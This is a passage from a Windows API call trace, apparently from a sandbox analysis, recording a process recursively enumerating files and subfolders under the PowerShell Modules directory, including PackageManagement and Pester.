returned 1 [0193.880] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0193.880] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0193.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0193.881] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0193.881] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0193.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0193.883] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0193.883] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0193.883] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.884] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.884] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.884] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45446b8 [0193.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.885] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.885] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1 [0193.885] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.886] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.886] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0193.886] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0193.886] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0193.886] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0193.887] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1 [0193.887] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1 [0193.887] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1 [0193.887] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0 [0193.887] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0193.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.888] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0193.888] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0193.888] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0193.888] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1 [0193.889] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0 [0193.889] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0193.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0193.890] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0193.890] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0193.890] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0193.890] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0193.890] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.890] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.890] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0193.890] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45446b8 [0193.891] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*", lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0193.891] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.891] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.891] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531980 [0193.891] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.891] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0193.891] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0193.891] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0193.892] HeapFree (in: 